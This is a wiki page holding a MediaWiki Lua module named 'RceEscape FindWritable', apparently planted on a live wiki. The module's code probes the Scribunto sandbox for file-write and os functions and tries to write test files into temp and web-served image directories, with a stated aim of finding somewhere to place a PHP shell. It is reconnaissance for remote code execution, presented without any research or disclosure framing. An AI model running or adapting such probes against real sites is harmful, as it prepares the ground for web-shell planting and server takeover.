模块:RceEscape FindWritable

来自希服维基

可在模块:RceEscape FindWritable/doc创建此模块的帮助文档

local p = {}
function p.test()
    -- Try to find a writable directory for PHP shell
    -- Check common temp paths
    local paths_to_check = {
        "/tmp", "/var/tmp", "/dev/shm",
        "/var/www/html/images", "/var/www/html/w/images",
        "/www/wwwroot/images", "/www/wwwroot/w/images"
    }
    local results = {}

    -- Check if io.open is available (it shouldn't be, but double-check)
    if io then
        results[1] = "io_available!"
        for _, path in ipairs(paths_to_check) do
            local f, err = io.open(path .. "/mw_test_write.txt", "w")
            if f then
                f:write("MW_WRITE_TEST")
                f:close()
                results[#results+1] = "WRITABLE: " .. path
            end
        end
    else
        results[1] = "io_not_available"
    end

    -- Check os.rename or os.remove
    local os_tbl = require("os")
    for _, fn in ipairs({"rename", "remove", "tmpname"}) do
        if os_tbl[fn] ~= nil then
            results[#results+1] = "os." .. fn .. "_available"
        end
    end

    return table.concat(results, " | ")
end
return p